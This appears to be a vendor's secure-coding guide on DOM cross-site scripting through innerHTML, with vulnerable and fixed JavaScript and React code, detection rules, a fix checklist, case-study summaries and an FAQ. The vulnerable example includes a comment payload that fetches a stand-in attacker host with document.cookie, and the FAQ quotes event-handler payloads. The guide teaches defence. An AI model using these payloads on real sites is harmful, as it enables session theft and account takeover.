DOM XSS via innerHTML: why it happens and what to use instead

Assigning a string to `innerHTML` parses it as HTML, so any untrusted substring becomes live markup in your page's origin — `<img src=x onerror=…>` and `<svg onload=…>` run even though `<script>` tags inserted this way do not. The fix is to stop building HTML from data: use `textContent` (or `createElement` plus `setAttribute`) when you only need to display a value, and when you genuinely must render user-supplied markup, sanitize it with DOMPurify and enforce the result with Trusted Types. Escaping by hand does not work here, because the correct escaping depends on which HTML context the value lands in.

At a glance

LanguagesJavaScript, TypeScript — browser and any DOM-emulating runtime
Dangerous sinksinnerHTML, outerHTML, insertAdjacentHTML, document.write, jQuery .html(), Range.createContextualFragment
Framework sinksReact dangerouslySetInnerHTML, Vue v-html, Angular bypassSecurityTrustHtml
Safe replacementstextContent, innerText, createElement + setAttribute, DOMPurify.sanitize
Typical impactSession theft, account takeover, arbitrary actions as the victim in your origin
Not a fixStripping <script>, escaping only quotes, or an allowlist of tag names written by hand

Vulnerable and fixed, side by side

JavaScript (browser)

Vulnerable

const name = new URLSearchParams(location.search).get("name");
document.getElementById("greeting").innerHTML = "Hello, " + name;

// ?name=<img src=x onerror=fetch('//evil.tld?c='+document.cookie)>
// The <img> is parsed, the load fails, and onerror runs in your origin.

Secure

const name = new URLSearchParams(location.search).get("name") ?? "";
document.getElementById("greeting").textContent = `Hello, ${name}`;

textContent never parses markup, so there is no HTML context to escape for. Reach for it whenever the value is data rather than markup — which is nearly always.

JavaScript (markup genuinely required)

Vulnerable

// A comment body that is allowed to contain <b>, <i> and links.
container.innerHTML = comment.bodyHtml;

Secure

import DOMPurify from "dompurify";

container.innerHTML = DOMPurify.sanitize(comment.bodyHtml, {
  ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br"],
  ALLOWED_ATTR: ["href", "title"],
  // Blocks javascript: and data: URLs in the href above.
  ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,
});

Sanitize immediately before the sink, not on input. Sanitized-then-stored HTML rots: the next parser change, or any code path that mutates the string afterwards, silently un-sanitizes it.

React / TypeScript

Vulnerable

<div dangerouslySetInnerHTML={{ __html: post.contentHtml }} />

Secure

import DOMPurify from "isomorphic-dompurify";

const clean = useMemo(
  () => DOMPurify.sanitize(post.contentHtml, { USE_PROFILES: { html: true } }),
  [post.contentHtml]
);

return <div dangerouslySetInnerHTML={{ __html: clean }} />;

React escapes `{value}` automatically; dangerouslySetInnerHTML is the one place it stops. If the HTML is produced by your own trusted server-side pipeline and sanitized there, that is defensible — document where the sanitisation happens, because the next reader cannot tell from the call site.

How to find it in your codebase

  • Grep the sinks: `rg -n 'innerHTML|outerHTML|insertAdjacentHTML|document\.write|\.html\('`. Every hit needs a traceable-to-literal argument.
  • Semgrep rules `javascript.browser.security.insecure-innerhtml.insecure-innerhtml` and `javascript.react.security.dangerously-set-inner-html`.
  • ESLint: `react/no-danger`, and `no-unsanitized/property` from eslint-plugin-no-unsanitized, which understands the assignment sinks specifically.
  • Enforce at runtime with `Content-Security-Policy: require-trusted-types-for 'script'` — report-only first. Trusted Types turns every unsanitized sink into a console violation you can count.

Fix checklist

  1. Decide whether the value is data or markup. If data, switch to `textContent` and stop.
  2. If markup, add DOMPurify (or `isomorphic-dompurify` for SSR) and sanitize at the sink with an explicit ALLOWED_TAGS list.
  3. Constrain URL attributes: `href`/`src` allowlisted to https/mailto blocks `javascript:` and `data:text/html` payloads.
  4. Deploy CSP with Trusted Types in report-only mode, review the violation reports, then enforce.
  5. Add a lint rule so the next assignment fails review rather than shipping.

Fixes we shipped

Each of these is a pull request Orbis AppSec opened against a real open-source repository.

How SQL-injection-style template literal injection happens in JavaScript DOM rendering and how to fix it

A Semgrep rule (`utils.custom.sql-injection-template-literal`) flagged `src/export/SheetMusicView.js` for building a query/markup string out of a JavaScript template literal with untrusted values interpolated directly into it. In this case the sink was an `<option value="${s.id}">${s.name}</option>` string used to build the snippet picker, meaning any snippet name containing `"` or `<` could break out of the attribute and inject arbitrary HTML. The fix introduces an `_escapeHtml()` helper and ro

How Unvalidated External Data Fetch happens in React and how to fix it

The Datasets.jsx component fetched a remote manifest from snapshots.qdrant.io and rendered its contents directly into React state without validating response status, JSON shape, or field types. A compromised or spoofed endpoint could have injected malicious payloads straight into the UI; the fix adds strict validation and type coercion before the data ever reaches the render tree.

How Cross-Site Scripting Happens in JavaScript Parsers and How to Fix It

A cross-site scripting vulnerability in JSXGraph's JessieCode parser allowed attackers to inject JavaScript through maliciously crafted input that appeared in error messages. The fix ensures proper output encoding when user-controlled data is included in parser error reporting.

How Cross-Site Scripting (XSS) happens in JavaScript sanitization functions and how to fix it

A critical XSS vulnerability was discovered in the `sanitizeInput()` function in script.js, where only angle brackets were being escaped while quotes, ampersands, and backticks remained unprotected. This incomplete sanitization allowed attackers to craft payloads using event handlers and template literals that bypassed the security controls entirely. The fix implements comprehensive HTML entity encoding for all XSS-relevant characters.

How DOM-based Cross-Site Scripting happens in JavaScript and how to fix it

A high-severity DOM-based XSS vulnerability in `public/audio_match_demo/index.html` allowed attackers to inject malicious JavaScript through manipulated song metadata from API responses. The fix replaces dangerous HTML string concatenation with secure DOM API methods that automatically escape content.

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser stemming from improper DOCTYPE entity handling, which could allow attackers to inject malicious scripts through crafted XML payloads. The fix upgrades the vulnerable dependency from version 4.4.1 to patched versions 5.3.5 and 4.5.4, eliminating the unsafe parsing behavior while preserving all legitimate XML processing functionality.

How Unsandboxed iframe Content Injection happens in JavaScript and how to fix it

A critical vulnerability in `app-viewer/js/LupineVault.js` allowed attacker-controlled HTML fetched from an external CDN to execute scripts in the application's full origin context by injecting it directly into an iframe's `srcdoc` attribute without any sandbox restrictions. The fix adds a `sandbox` attribute to the iframe element, restricting what the injected content can do even if it contains malicious scripts. This prevents cross-site scripting and origin-context script execution that could

How Unsanitized External Content Injection happens in JavaScript and how to fix it

A critical content injection vulnerability in `app-viewer/js/youtube.js` allowed arbitrary HTML and JavaScript from a compromised external CDN to execute directly in the hosting origin's context. The fix replaces unsafe `fetch()`-then-inject patterns with direct URL assignment, eliminating the attack surface entirely. This change prevents supply-chain-style attacks where a compromised JSON manifest could deliver malicious payloads to every user of the viewer.

Browse every xss case study

Frequently asked questions

Why does innerHTML run code when <script> tags inserted that way are ignored?

The HTML parser refuses to execute a `<script>` element inserted via innerHTML, which is why the naive test looks safe. Event-handler attributes have no such restriction: `<img src=x onerror=…>`, `<svg onload=…>` and `<iframe srcdoc=…>` all fire normally. Blocking `<script>` therefore filters the one payload that never worked and none of the ones that do.

Is escaping < and > before assigning to innerHTML enough?

No. Correct escaping depends on the context the value lands in, and you do not know the context when you are concatenating a string. A value inside an unquoted attribute needs no angle brackets at all to break out (`x onerror=alert(1)`), and a value inside an existing `href` needs `javascript:` blocked rather than characters escaped. Sanitize the parsed result instead of escaping the input.

Does a Content Security Policy stop DOM XSS on its own?

A strict CSP without `unsafe-inline` blocks most injected inline handlers, so it is a strong second layer — but it is bypassable via allowlisted CDN endpoints, JSONP, and script gadgets in libraries you already load. `require-trusted-types-for 'script'` is the part that addresses the sink directly, because it makes an unsanitized assignment throw rather than execute.

Is DOMPurify needed on the server if the HTML is rendered server-side?

Yes, if the markup contains anything a user influenced. Server-rendered HTML is still parsed by the browser, so the sink is identical; the only difference is that you cannot see it in the browser devtools. Use `isomorphic-dompurify`, or sanitize in whatever language the template runs in (bleach for Python, sanitize-html for Node, OWASP Java HTML Sanitizer).

Let Orbis AppSec find these for you

Orbis AppSec scans your GitHub repositories, traces the taint from source to sink, and opens a pull request with the fix applied and verified.

Try Orbis AppSec

Authoritative sources